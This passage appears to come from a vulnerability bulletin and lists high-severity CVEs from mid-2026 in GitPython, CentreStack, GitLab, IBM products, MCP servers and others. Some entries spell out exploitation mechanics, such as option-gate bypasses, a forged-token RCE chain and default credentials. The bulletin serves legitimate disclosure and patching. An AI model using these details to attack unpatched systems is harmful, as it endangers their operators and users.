| GeneralSandman--TinyWeb                                   | TinyWeb through 0.0.8 contains a null pointer dereference vulnerability that allows unauthenticated remote attackers to crash worker processes by sending a malformed HTTP request line with an invalid version string. The HttpParser::execute() function fails to allocate the Url object when version parsing fails, leaving the url pointer NULL, and buildResponse() subsequently dereferences this NULL pointer without checking the valid_requ flag, producing a SIGSEGV that terminates the worker process and, when repeated across all workers, takes the server permanently offline until manually restarted. | 2026-07-28 | 7.5        | <a href="#">CVE-2026-67184</a> |
| GeneralSandman--TinyWeb                                   | TinyWeb through 0.0.8 contains a path traversal vulnerability that allows unauthenticated attackers to read arbitrary files by submitting ../ sequences in the URL path, which are concatenated directly to the configured web root in HttpBuilder::buildResponse() without normalization, dot-segment removal, or boundary checks. Attackers can craft a single request with ../ sequences that pass through the URL parser unchanged and reach the filesystem call via HttpFile::setFile(), exposing sensitive files such as credential stores and private keys when the server process runs as root.                  | 2026-07-28 | 7.5        | <a href="#">CVE-2026-67185</a> |
| github--github-mcp-server                                 | GitHub MCP Server is GitHub's official MCP Server. Prior to 1.1.0, the CompletionsHandler function in pkg/github/server.go accesses params.Ref without first checking whether it is nil, so a completion/complete request with a missing or empty ref field triggers a nil pointer dereference and a Go runtime panic; because the crash occurs before any authentication or token validation, any unauthenticated client able to send JSON-RPC messages can crash the server, resulting in a complete denial of service. This issue is fixed in version 1.1.0.                                                          | 2026-07-28 | 7.5        | <a href="#">CVE-2026-47427</a> |
| GitLab--GitLab                                            | GitLab has remediated an issue in GitLab CE/EE affecting all versions from 18.0 before 19.0.5, 19.1 before 19.1.3, and 19.2 before 19.2.1 that under certain conditions could have allowed an authenticated user to modify CI/CD configuration belonging to another user due to improper validation of user-supplied attributes when processing pipeline schedule inputs.                                                                                                                                                                                                                                                | 2026-07-29 | 8.4        | <a href="#">CVE-2026-12436</a> |
| GitLab--GitLab                                            | GitLab has remediated an issue in GitLab CE/EE affecting all versions from 10.1.0 before 19.0.5, 19.1 before 19.1.3, and 19.2 before 19.2.1 that under certain conditions could have allowed an authenticated user with Developer role to access unauthorized information due to insufficient access controls on internal request handling.                                                                                                                                                                                                                                                                              | 2026-07-29 | 8.5        | <a href="#">CVE-2026-6267</a>  |
| GitLab--GitLab                                            | GitLab has remediated an issue in GitLab CE/EE affecting all versions from 11.8 before 19.0.5, 19.1 before 19.1.3, and 19.2 before 19.2.1 that under certain conditions could have allowed an unauthenticated user to cause a denial of service due to insufficient resource throttling when processing merge request discussions.                                                                                                                                                                                                                                                                                       | 2026-07-29 | 7.5        | <a href="#">CVE-2026-15975</a> |
| gitpython-developers--GitPython                           | GitPython 3.1.50 fails to recognize joined short-option forms such as -u<value> (the short form of --upload-pack=<value>) when enforcing its default unsafe-option gate. When an application passes attacker-influenced clone options into Repo.clone_from(..., multi_options=..., allow_unsafe_options=False), an attacker can supply -u<helper> to bypass the gate that blocks --upload-pack/-u, causing Git to execute the specified helper command during clone. Fixed in 3.1.51.                                                                                                                                    | 2026-08-01 | 9.8        | <a href="#">CVE-2026-67324</a> |
| gitpython-developers--GitPython                           | GitPython before 3.1.51 fails to guard against dangerous Git options passed as keyword arguments in Repo.archive() and git.ls_remote(), allowing command injection via options such as --exec/--upload-pack (leading to arbitrary command execution). Additionally, Repo.iter_commits() and Repo.blame() do not check for leading-dash revision arguments, so a revision like --output=<path> can cause Git to open and truncate an arbitrary file. Exploitation requires an application that passes attacker-controlled arguments to these methods.                                                                     | 2026-08-01 | 8.4        | <a href="#">CVE-2026-67323</a> |

# High Vulnerabilities

| Primary Vendor -- Product       | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    | Published  | CVSS Score | Source & Patch Info            |
|---------------------------------|----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
| gitpython-developers--GitPython | GitPython before 3.1.51 contains an incomplete command injection blacklist that fails to account for git's long-option prefix abbreviation feature. Attackers can bypass the unsafe options guard by using abbreviated option names like upload_p instead of upload_pack, which git resolves to dangerous options and executes arbitrary commands.                                                                                                                                                                                                                                                                                                             | 2026-08-01 | 8.8        | <a href="#">CVE-2026-67325</a> |
| gitpython-developers--GitPython | GitPython before 3.1.52 is vulnerable to environment-variable exfiltration in Repo.clone_from(). The caller-supplied remote URL is passed through Git.polish_url(), which on non-Cygwin platforms calls os.path.expandvars() on the URL before invoking git clone. An attacker who controls the clone URL can embed \$NAME or \${NAME} tokens that are expanded to the values of the hosting process's environment variables (e.g., AWS_SECRET_ACCESS_KEY or GITHUB_TOKEN). The resulting URL, now containing the secret, is transmitted over the network to an attacker-controlled host during the clone attempt, disclosing the secret.                      | 2026-08-01 | 7.5        | <a href="#">CVE-2026-67322</a> |
| gitpython-developers--GitPython | GitPython before 3.1.50 fails to validate newline characters in the section parameter of config_writer(), allowing attackers to inject arbitrary section headers into .git/config. Attackers can inject newlines to create a forged [core] section with hooksPath pointing to attacker-controlled directories, achieving remote code execution when git hooks are triggered.                                                                                                                                                                                                                                                                                   | 2026-08-01 | 7          | <a href="#">CVE-2026-67326</a> |
| Gladinet--CentreStack           | CentreStack before 17.5 contains a hardcoded cryptographic key vulnerability that allows unauthenticated attackers to forge arbitrary encrypted tokens by exploiting a static SysNumber value used as entropy for AccessTicket.Encrypt() and AccessTicket.Decrypt() across all installations. Attackers can use the hardcoded key to craft valid x-glad-auth headers and call privileged API endpoints such as acquiretenantbackuptoken to obtain a domain administrator IdentityTicket, enabling a complete unauthenticated remote code execution chain.                                                                                                      | 2026-07-30 | 9.1        | <a href="#">CVE-2026-54363</a> |
| Gladinet--CentreStack           | CentreStack before 17.2 contains an authentication bypass vulnerability that allows unauthenticated attackers to read, write, or delete arbitrary account settings by exploiting exposed API endpoints that lack authorization checks. Attackers can generate valid encrypted EntAcctId values using the static shared encryption key to forge identifiers for any user GUID, including the system-wide cluster settings account, enabling enumeration of hosted tenant domains and administrator identities.                                                                                                                                                  | 2026-07-30 | 8.6        | <a href="#">CVE-2026-54367</a> |
| Gladinet--CentreStack           | CentreStack before 17.4 contains a SQL injection vulnerability in GladDBFiles.SearchEx() and SearchExUnder() that allows authenticated attackers to execute arbitrary SQL statements by supplying a crafted x-glad-filter request header through the jsondir API endpoint. Attackers can exploit unsanitized interpolation of the Field parameter directly into SQL query strings to write arbitrary files to the server filesystem via PostgreSQL lo_from_bytea() and lo_export() functions, enabling remote code execution.                                                                                                                                  | 2026-07-30 | 8.8        | <a href="#">CVE-2026-54368</a> |
| Gladinet--CentreStack           | CentreStack before 17.3 contains an unauthenticated deserialization vulnerability in GSNamespace.dll that allows unauthenticated attackers to create arbitrary local OS user accounts by supplying a crafted base64-encoded XML string to exposed API endpoints. Attackers can send a malicious StorageConfigure parameter to the jsonimportuserbyupn, jsonimportuserbyupnex, or japiimportuserbyupn endpoints to trigger InternalImportAdUserByUPN(), causing GladinetCloudMonitor.exe to invoke the NetUserAdd Windows API with attacker-controlled credentials and create arbitrary directories on the server filesystem.                                   | 2026-07-30 | 7.5        | <a href="#">CVE-2026-54365</a> |
| Gladinet--CentreStack           | CentreStack before 17.4 contains an XML external entity (XXE) injection vulnerability that allows unauthenticated attackers to exfiltrate arbitrary files by supplying a malicious URL to the SharePoint storage configuration handler. Attackers can send a crafted request to the unauthenticated StorageConfig endpoint causing the server to fetch and parse attacker-controlled XML containing external DTD references, resulting in out-of-band file exfiltration of sensitive files such as Web.config, which may contain database credentials and cryptographic key material.                                                                          | 2026-07-30 | 7.5        | <a href="#">CVE-2026-54366</a> |
| gm_alex--User Access Manager    | The User Access Manager plugin for WordPress is vulnerable to Directory Traversal in all versions up to, and including, 2.3.15 via the 'uamgetfile' parameter parameter. This makes it possible for unauthenticated attackers to read the contents of arbitrary files on the server, which can contain sensitive information. This is possible because when attachment_url_to_postid() returns 0 for a traversal path, the plugin falls back to the global post set by a valid ?attachment_id parameter supplied by the attacker, causing the access check to pass against a legitimate public attachment while the file streamed is the attacker-chosen path. | 2026-08-01 | 7.5        | <a href="#">CVE-2026-18352</a> |



# High Vulnerabilities

| Primary Vendor -- Product   | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             | Published  | CVSS Score | Source & Patch Info            |
|-----------------------------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
| GNOME--GIMP                 | A flaw was found in the file-fits plugin in GIMP. When processing a FITS image file, the plugin calculates memory allocation sizes using signed 32-bit integers for width and height. If a crafted file sets both values to large values, their product exceeds 2^31 and overflows, resulting in an undersized heap-based buffer allocation. This integer overflow issue results in a heap-based buffer overflow when cfitsio subsequently writes a full row of pixels in the buffer, causing memory corruption, potentially leading to arbitrary code execution or a denial of service.                                                                                                                                                                                                | 2026-07-27 | 7.8        | <a href="#">CVE-2026-66758</a> |
| GNOME--GIMP                 | A flaw was found in the file-icns plugin in GIMP. When applying a decompressed mask during ICNS image processing, the plugin reads from the mask data buffer without verifying if the cursor exceeds the allocated resource size. If a crafted file contains a truncated mask resource, the icns_decompress function continues reading past the bounds of the buffer. This out-of-bounds read vulnerability results in information disclosure of heap contents, where memory contents are leaked as alpha channel pixel values, or a crash leading to a denial of service if unmapped memory is accessed.                                                                                                                                                                               | 2026-07-27 | 7.1        | <a href="#">CVE-2026-66759</a> |
| GNOME--gnome-remote-desktop | A flaw was found in gnome-remote-desktop as shipped in Red Hat Enterprise Linux. When the daemon is running in system mode with RDP enabled, the incoming connection handler bypasses the connection throttler, allowing an unauthenticated remote attacker to open many parallel pre-authentication connections to the RDP listener. This can accumulate accepted sockets and pending routing-token operations until timeout, exhausting resources and preventing legitimate users from establishing RDP sessions. This issue does not affect the upstream version.                                                                                                                                                                                                                    | 2026-07-31 | 7.5        | <a href="#">CVE-2026-18358</a> |
| go-vikunja--vikunja         | Vikunja versions 0.22.0 through 2.3.0 fail to validate the principal type in API token management. Because user IDs and link-share IDs are independent numeric sequences and both resolve through a generic web.Auth.GetID() interface, a link-share JWT whose numeric ID equals a target user's ID is treated as that user by the /api/v1/tokens endpoints. An authenticated attacker can obtain a target's numeric user ID via authenticated user search, then create link shares on an attacker-writable project until the link-share sequence reaches that value, and use the resulting link-share JWT to list, create, and delete the target user's API tokens (including issuing a new token with attacker-chosen scopes under the target's permissions). Fixed in version 2.4.0. | 2026-08-02 | 8.1        | <a href="#">CVE-2026-68581</a> |
| goshs-labs--goshs           | goshs is a feature-rich single-binary file server for red teamers and developers. From 2.1.3 until 2.1.4, the sftpserver/sftpserver.go password handler used Username != "" && Password != "", so running goshs with -b 'admin:' -sftp and no -fkf left both SFTP authentication handlers unset and allowed unauthenticated file access. This issue is fixed in version 2.1.4.                                                                                                                                                                                                                                                                                                                                                                                                          | 2026-07-28 | 9.1        | <a href="#">CVE-2026-62325</a> |
| goshs-labs--goshs           | goshs is a feature-rich single-binary file server for red teamers and developers. Prior to 2.1.4, the httpserver/server.go wdGuard handled WebDAV MOVE as a write-only method and did not enforce --no-delete, allowing WebDAV clients to delete or overwrite files via MOVE with Overwrite: T. This issue is fixed in version 2.1.4.                                                                                                                                                                                                                                                                                                                                                                                                                                                   | 2026-07-28 | 9.1        | <a href="#">CVE-2026-64863</a> |
| goshs-labs--goshs           | goshs is a feature-rich single-binary file server for red teamers and developers. Prior to 2.1.1, the httpserver/updown.go bulkDownload handler for ?bulk&file= ZIP downloads did not call findEffectiveACL or applyCustomAuth, allowing unauthenticated reads of files protected only by .goshs folder ACLs and block lists. This issue is fixed in version 2.1.1. This vulnerability exists due to an incomplete fix for CVE-2026-40189.                                                                                                                                                                                                                                                                                                                                              | 2026-07-28 | 7.5        | <a href="#">CVE-2026-54719</a> |
| gotd--td                    | gotd/td is a T Telegram MTProto API client in Go. Prior to 0.145.1, proto.UnencryptedMessage.Decode in proto/unencrypted_message.go read attacker controlled dataLen from an unauthenticated MTProto unencrypted packet and allocated make([]byte, dataLen) before checking the remaining buffer, allowing remote unauthenticated denial of service through excessive memory allocation and CPU or garbage collection pressure. This issue is fixed in version 0.145.1.                                                                                                                                                                                                                                                                                                                 | 2026-07-28 | 7.5        | <a href="#">CVE-2026-54638</a> |
| grisuno--LazyOwn            | LazyOwn RedTeam/APT Framework is an AI-powered C2 and red-team operations framework. Prior to 0.2.154, LazyOwn's lazyc2.py registers an unauthenticated Socket.IO input event handler that dispatches data.get('value') to LazyOwnShell.one_cmd, reaching LazyOwnShell.do_cmd and subprocess.call(command, shell=True), allowing unauthenticated remote code execution in the C2 process. This issue is fixed in 0.2.154.                                                                                                                                                                                                                                                                                                                                                               | 2026-07-30 | 9.8        | <a href="#">CVE-2026-68502</a> |
| grisuno--LazyOwn            | LazyOwn RedTeam/APT Framework is an AI-powered C2 and red-team operations framework. Prior to 0.2.154, LazyOwn ships default C2 credentials LazyOwn and LazyOwn in payload.json and core/payload_schema.py and passes them                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              | 2026-07-30 | 9.8        | <a href="#">CVE-2026-68503</a> |

# High Vulnerabilities

| Primary Vendor -- Product                                                 | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 | Published  | CVSS Score | Source & Patch Info            |
|---------------------------------------------------------------------------|---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
|                                                                           | unchanged to lazyc2.py HTTP Basic authentication, allowing any network-reachable attacker who knows the defaults to authenticate to the C2 dashboard with operator-level access. This issue is fixed in 0.2.154.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            |            |            |                                |
| HashiCorp--Tooling                                                        | In consul-mcp-server, versions 0.1.0 up to 0.1.3 did not properly isolate session state in stateless mode, which may allow one client's Consul authentication token to be used for subsequent requests from other clients. This vulnerability (CVE-2026-16326) is fixed in consul-mcp-server 0.1.4.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         | 2026-07-29 | 10         | <a href="#">CVE-2026-16326</a> |
| HashiCorp--Tooling                                                        | The terraform-mcp-server before version 1.1.0 is vulnerable to a cross-tenant credential reuse issue in the streamable-HTTP stateless transport mode that may allow one user's Terraform token to be used to execute tool calls on behalf of subsequent users. This vulnerability, CVE-2026-16498, is fixed in terraform-mcp-server 1.1.0.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  | 2026-07-28 | 10         | <a href="#">CVE-2026-16498</a> |
| HashiCorp--Tooling                                                        | The terraform-mcp-server before version 1.1.0 is vulnerable to a server-side request forgery issue in the streamable-HTTP transport that may allow an unauthenticated remote client to redirect the server's Terraform API requests, and the server-side authorization token, to an attacker-controlled endpoint. This vulnerability, CVE-2026-14869, is fixed in terraform-mcp-server 1.1.0.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               | 2026-07-28 | 8.6        | <a href="#">CVE-2026-14869</a> |
| HashiCorp--Tooling                                                        | In consul-mcp-server, versions 0.1.0 up to 0.1.3 did not restrict how the Consul backend address was supplied, allowing a connected client to override the server's configured Consul address via a request header. This may allow a malicious client to redirect the server's Consul API traffic to an attacker-controlled endpoint, potentially exfiltrating the Consul token configured on the server. This vulnerability, CVE-2026-16328, is fixed in consul-mcp-server 0.1.4.                                                                                                                                                                                                                                                                                                                                                                                                          | 2026-07-29 | 8.6        | <a href="#">CVE-2026-16328</a> |
| HashiCorp--Tooling                                                        | The terraform-mcp-server before version 1.1.0 is vulnerable to an authorization bypass in the streamable-HTTP stateful transport mode that may allow a user who obtains another user's MCP session ID to have their tool calls executed using that user's Terraform credentials. This vulnerability, CVE-2026-16496, is fixed in terraform-mcp-server 1.1.0.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                | 2026-07-28 | 8.9        | <a href="#">CVE-2026-16496</a> |
| Hikvision--DS-3WAP521-SI                                                  | Some Hikvision Networking Products are vulnerable to authenticated command execution due to insufficient input validation. Attackers with valid credentials can exploit this flaw by sending crafted packets containing malicious commands to affected devices, leading to arbitrary command execution.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     | 2026-07-31 | 7.2        | <a href="#">CVE-2026-16843</a> |
| holist--Spreadsheet Price Changer for WooCommerce and WP E-commerce Light | The Spreadsheet Price Changer for WooCommerce and WP E-commerce - Light plugin for WordPress is vulnerable to Missing Authorization in all versions up to, and including, 2.4.37 vi the user_filter function. This makes it possible for unauthenticated attackers to create admin accounts.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                | 2026-07-29 | 9.8        | <a href="#">CVE-2025-10656</a> |
| Hugging Face--sentence-transformers                                       | sentence-transformers contains a security control bypass vulnerability that allows attackers to achieve arbitrary code execution by exploiting a logic flaw in the import_module_class helper within sentence_transformers/util/misc.py, where the guard condition includes an 'or os.path.exists(model_name_or_path)' clause that satisfies the trust gate whenever the supplied path exists on the local filesystem, regardless of the trust_remote_code=False argument. Attackers who can control or influence the contents of a model directory on disk can place malicious Python files such as modeling_*.py referenced via modules.json, causing the code to execute at import time when an application loads the model with SentenceTransformer(path, trust_remote_code=False), bypassing the documented security contract and achieving code execution within the loading process. | 2026-07-31 | 9.8        | <a href="#">CVE-2026-68770</a> |
| hypequery--hypequery                                                      | Hypequery is a TypeScript semantic layer for ClickHouse. Prior to 2.0.2, escapeValue() in packages/clickhouse/src/core/utils.ts did not escape backslashes before single quotes during parameter substitution, allowing attacker controlled query parameters with a trailing backslash to escape the closing quote and inject arbitrary SQL. This issue is fixed in version 2.0.2.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          | 2026-07-28 | 9.8        | <a href="#">CVE-2026-54658</a> |
| IBM--App Connect Enterprise                                               | IBM App Connect Enterprise 13.0.1.0 through 13.0.7.2, and 12.0.1.0 through 12.0.12.27 could allow a remote attacker to traverse directories on the system. An attacker could send a specially crafted URL request containing "dot dot" sequences (../) to write arbitrary files on the system.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              | 2026-07-30 | 9.8        | <a href="#">CVE-2026-15435</a> |
| IBM--App Connect Enterprise                                               | IBM App Connect Enterprise 13.0.1.0 through 13.0.7.2, and 12.0.1.0 through 12.0.12.27 could allow a remote attacker to execute arbitrary commands due to improper neutralization of CRLF characters.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        | 2026-07-30 | 8.8        | <a href="#">CVE-2026-14522</a> |
| IBM--App Connect Enterprise                                               | IBM App Connect Enterprise 13.0.1.0 through 13.0.7.2, and 12.0.1.0 through 12.0.12.27 stores potentially sensitive information in log files that could be read by a local user.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             | 2026-07-30 | 7.5        | <a href="#">CVE-2026-12947</a> |

# High Vulnerabilities

| Primary Vendor -- Product                                           | Description                                                                                                                                                                                                                                                                                                                                                   | Published  | CVSS Score | Source & Patch Info            |
|---------------------------------------------------------------------|---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
| IBM--App Connect Enterprise                                         | IBM App Connect Enterprise 13.0.1.0 through 13.0.7.2, and 12.0.1.0 through 12.0.12.27 could allow a remote attacker to read arbitrary files due to a path traversal vulnerability.                                                                                                                                                                            | 2026-07-30 | 7.5        | <a href="#">CVE-2026-14519</a> |
| IBM--Aspera Desktop App                                             | IBM Aspera Desktop App 1.0.5 through 1.0.19 IBM Aspera for desktop can allow files to be written outside of the user's selected download destination.                                                                                                                                                                                                         | 2026-07-28 | 9.3        | <a href="#">CVE-2026-14973</a> |
| IBM--Aspera Desktop App                                             | IBM Aspera Desktop App 1.0.5 through 1.0.19 can allow arbitrary code execution by loading DLL files at start-up.                                                                                                                                                                                                                                              | 2026-07-30 | 7.3        | <a href="#">CVE-2026-11980</a> |
| IBM--Aspera Faspex 5                                                | IBM Aspera Faspex 5 5.0.0 through 5.0.15.4 could allow a remote authenticated attacker to execute arbitrary code due to unquoted shell interpolation.                                                                                                                                                                                                         | 2026-07-28 | 9.1        | <a href="#">CVE-2026-14958</a> |
| IBM--Aspera Faspex 5                                                | IBM Aspera Faspex 5 5.0.0 through 5.0.15.4 could allow a remote authenticated attacker to execute arbitrary code due to shell command injection.                                                                                                                                                                                                              | 2026-07-28 | 9.1        | <a href="#">CVE-2026-14959</a> |
| IBM--Aspera Faspex 5                                                | IBM Aspera Faspex 5 5.0.0 through 5.0.15.4 has addressed a vulnerability related to session management.                                                                                                                                                                                                                                                       | 2026-07-28 | 8.2        | <a href="#">CVE-2026-14996</a> |
| IBM--Cloud Pak System                                               | IBM Cloud Pak System 2.3.5.0 could allow a local attacker to obtain sensitive information due to the insertion of credentials into log files.                                                                                                                                                                                                                 | 2026-07-28 | 7.5        | <a href="#">CVE-2026-13463</a> |
| IBM--DataPower Gateway 10.6CD                                       | IBM DataPower Gateway could allow a remote attacker to cause a denial of service due to improper resource limitations.                                                                                                                                                                                                                                        | 2026-07-30 | 7.5        | <a href="#">CVE-2026-12733</a> |
| IBM--Db2                                                            | IBM Db2 11.5.0 through 11.5.9, and 12.1.0 through 12.1.4 is vulnerable to buffer overflow in setgid helper db2flacc.                                                                                                                                                                                                                                          | 2026-07-30 | 8.4        | <a href="#">CVE-2026-10535</a> |
| IBM--Engineering Requirements Management DOORS and DOORS Web Access | IBM Engineering Requirements Management DOORS and DOORS Web Access 9.7.2.1 through 9.7.2.11, and 9.6.1.1 through 9.6.1.13 do not limit the length of a connection which could allow for a Slowloris HTTP denial of service attack to take place. This can cause the web server to become unresponsive.                                                        | 2026-07-30 | 7.5        | <a href="#">CVE-2024-25039</a> |
| IBM--Enterprise Build of Quarkus                                    | IBM Enterprise Build of Quarkus 3.27.1 through 3.27.4.SP2, and 3.33.1 through 3.33.2.SP2 Quarkus REST could allow a remote attacker to cause a denial of service due to unbounded accumulation of multipart MIME part-header bytes.                                                                                                                           | 2026-07-30 | 7.5        | <a href="#">CVE-2026-16308</a> |
| IBM--HMC V10.3.1050.0                                               | IBM HMC V10.3.1050.0 through 10.3.1064.0 and IBM HMC V11.1.1110.0 through 11.1.1112.0 Management systems in IBM Power environments (HMC and Novalink) could allow an unauthenticated user to execute arbitrary commands with elevated privileges on the system due to improper validation of user supplied input.                                             | 2026-07-30 | 9.8        | <a href="#">CVE-2026-12943</a> |
| IBM--Langflow OSS                                                   | IBM Langflow OSS 1.0.0 through 1.10.1 are vulnerable to unauthenticated remote code execution via environment variable injection in the MCP (Model Context Protocol) stdio launcher. The vulnerability exists in src/lfx/src/lfx/base/mcp/util.py where the DANGEROUS_ENV_VARS blocklist fails to include SHELLOPTS, BASHOPTS, and PS4 environment variables. | 2026-07-30 | 9.8        | <a href="#">CVE-2026-12940</a> |
| IBM--Langflow OSS                                                   | IBM Langflow OSS 1.0.0 through 1.10.0 could allow a remote attacker to inject arbitrary code on the system, due to the improper control of user input code.                                                                                                                                                                                                   | 2026-07-30 | 9.9        | <a href="#">CVE-2026-12946</a> |
| IBM--Langflow OSS                                                   | IBM Langflow OSS 1.0.0 through 1.10.1 contains an improper input validation vulnerability in the PythonREPL sandbox implementation.                                                                                                                                                                                                                           | 2026-07-30 | 9.9        | <a href="#">CVE-2026-13435</a> |
| IBM--Langflow OSS                                                   | IBM Langflow OSS 1.0.0 through 1.10.1 could allow a remote attacker to traverse directories on the system. An attacker could send a specially crafted URL request containing "dot dot " sequences ( ../ ) to view arbitrary files on the system.                                                                                                              | 2026-07-30 | 7.5        | <a href="#">CVE-2026-12942</a> |
| IBM--Langflow OSS                                                   | IBM Langflow OSS 1.0.0 through 1.10.1 allows authenticated users to access and manipulate other users' build jobs through improper access control on log retrieval and unauthenticated build endpoints.                                                                                                                                                       | 2026-07-30 | 7.1        | <a href="#">CVE-2026-12945</a> |
| IBM--Langflow OSS                                                   | IBM Langflow OSS 1.0.0 through 1.10.1 can allow an attacker to reuse another user's FAISS namespace to access owner-only vector content and influence later query results. This causes cross-user information disclosure and limited integrity impact through persistent poisoning of returned results.                                                       | 2026-07-28 | 7.1        | <a href="#">CVE-2026-13442</a> |
| IBM--Observability with Instana (Agent)                             | IBM Observability with Instana (Agent) Build 1.0.303 through 1.0.320 IBM Instana Node.js tracer component @instana/core version 6.2.1 is vulnerable to prototype pollution through its configuration normalization API.                                                                                                                                       | 2026-07-28 | 7.3        | <a href="#">CVE-2026-14893</a> |
| IBM--Planning Analytics Local                                       | IBM Planning Analytics Local 2.1.0 through 2.1.21 is vulnerable to an open redirect that allows an attacker to redirect users to arbitrary external websites via a crafted URL. If used in SSO authentication flows, this could result in exposure of session tokens and allow attackers to hijack user sessions.                                             | 2026-07-30 | 7.5        | <a href="#">CVE-2026-10545</a> |
| IBM--PowerVM Hypervisor                                             | IBM PowerVM Hypervisor FW1110.00 through FW1110.20, FW1060.00 through FW1060.71, and FW950.00 through FW950.H1 A carefully crafted OS hypervisor call can cause the PowerVM hypervisor to crash or compromise OS memory integrity.                                                                                                                            | 2026-07-30 | 8.4        | <a href="#">CVE-2026-11885</a> |
| IBM--Sterling B2B Integrator                                        | IBM Sterling B2B Integrator 6.2.0.0 through 6.2.0.5_2, 6.2.1.0 through 6.2.1.1_2, and 6.2.2.0 through 6.2.2.0_1 and IBM Sterling File Gateway 6.2.0.0 through                                                                                                                                                                                                 | 2026-07-28 | 8.1        | <a href="#">CVE-2026-7769</a>  |

# High Vulnerabilities

| Primary Vendor -- Product                         | Description                                                                                                                                                                                                                                                             | Published  | CVSS Score | Source & Patch Info            |
|---------------------------------------------------|-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
|                                                   | 6.2.0.5_2, 6.2.1.0 through 6.2.1.1_2, and 6.2.2.0 through 6.2.2.0_1 is vulnerable to SQL injection. A remote attacker could send specially crafted SQL statements, which could allow the attacker to view, add, modify, or delete information in the back-end database. |            |            |                                |
| IBM--Tivoli System Automation Application Manager | IBM Tivoli System Automation Application Manager 4.1 and IBM WebSphere Application Server is affected by a cross-site scripting vulnerability in the administrative console login page.                                                                                 | 2026-07-30 | 9.3        | <a href="#">CVE-2026-11707</a> |
| IBM--webMethods Integration (on prem)             | IBM webMethods Integration (on prem) 10.15, 10.11 could allow an unauthenticated remote attacker to execute arbitrary code on the system due to the deserialization of untrusted data.                                                                                  | 2026-07-30 | 9.8        | <a href="#">CVE-2026-12118</a> |
| IBM--WebSphere Application Server                 | IBM WebSphere Application Server 9.0, and 8.5 is vulnerable to broken access control/privilege escalation in the administrative console.                                                                                                                                | 2026-07-28 | 9.8        | <a href="#">CVE-2026-14446</a> |
| IBM--WebSphere Application Server                 | IBM WebSphere Application Server 9.0, and 8.5 traditional is vulnerable to pre-authentication unsafe deserialization which could allow a remote attacker to bypass authentication or execute arbitrary code.                                                            | 2026-07-28 | 9.8        | <a href="#">CVE-2026-14512</a> |
| IBM--WebSphere Application Server                 | IBM WebSphere Application Server 9.0, and 8.5 and IBM WebSphere Application Server - Liberty 17.0.0.3 through 26.0.0.8 traditional is vulnerable to server-side request forgery (SSRF) when the SIP container feature (sipServlet-1.1) is enabled.                      | 2026-07-29 | 9.4        | <a href="#">CVE-2026-14529</a> |
| IBM--WebSphere Application Server                 | IBM WebSphere Application Server 9.0, and 8.5 is affected by a remote code execution vulnerability in the SOAP/JMX connector.                                                                                                                                           | 2026-07-30 | 8.5        | <a href="#">CVE-2026-11536</a> |
| IBM--WebSphere Application Server                 | IBM WebSphere Application Server 8.5, and 9.0 traditional could allow a remote attacker to execute arbitrary code caused by unsafe deserialization of untrusted data.                                                                                                   | 2026-07-28 | 8.1        | <a href="#">CVE-2026-14974</a> |
| IBM--WebSphere Application Server                 | IBM WebSphere Application Server 9.0, and 8.5 and IBM WebSphere Application Server - Liberty 17.0.0.3 through 26.0.0.7 is vulnerable to HTTP Response Smuggling due to improper handling of non-standard HTTP version tokens.                                           | 2026-07-28 | 8.7        | <a href="#">CVE-2026-15064</a> |
| IBM--WebSphere Application Server                 | IBM WebSphere Application Server 9.0, and 8.5 and IBM WebSphere Application Server - Liberty 17.0.0.3 through 26.0.0.7 is vulnerable to HTTP request smuggling due to improper handling of TRACE requests.                                                              | 2026-07-28 | 8.7        | <a href="#">CVE-2026-15325</a> |
| IBM--WebSphere Application Server                 | IBM WebSphere Application Server 8.5, and 9.0 and IBM WebSphere Application Server - Liberty 17.0.0.3 through 26.0.0.7 Traditional and Liberty could allow a remote attacker to bypass security constraints.                                                            | 2026-07-30 | 7.5        | <a href="#">CVE-2026-10842</a> |
| IBM--WebSphere Application Server                 | IBM WebSphere Application Server 9.0, and 8.5 traditional could allow a remote attacker to obtain sensitive information.                                                                                                                                                | 2026-07-28 | 7.4        | <a href="#">CVE-2026-14528</a> |
| IBM--WebSphere Application Server                 | IBM WebSphere Application Server 9.0, and 8.5 and IBM WebSphere Application Server - Liberty 17.0.0.3 through 26.0.0.7 are affected by a denial of service vulnerability in the HTTP channel due to unbounded allocation of resources without limits.                   | 2026-07-28 | 7.5        | <a href="#">CVE-2026-14981</a> |
